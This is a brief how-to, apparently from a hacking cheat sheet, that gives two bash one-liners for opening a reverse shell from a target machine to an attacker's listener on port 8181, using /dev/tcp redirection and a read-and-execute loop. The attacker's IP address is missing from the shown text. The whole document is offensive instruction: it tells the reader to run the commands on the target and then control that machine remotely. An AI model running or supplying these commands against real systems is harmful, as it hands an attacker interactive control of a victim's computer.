Reverse shell with bash

Assuming that the attacker’s machine ip address is and the listening port is 8181.

Type in the target’s machine terminal

/bin/bash -i > /dev/tcp/ 0<&1 2>&1

hit enter


exec 5<>/dev/tcp/

hit enter

cat <&5 | while read line; do $line 2>&5 >&5; done

hit enter

Choose one of the two ways and then go back to your attack machine and execute a command on the remote machine!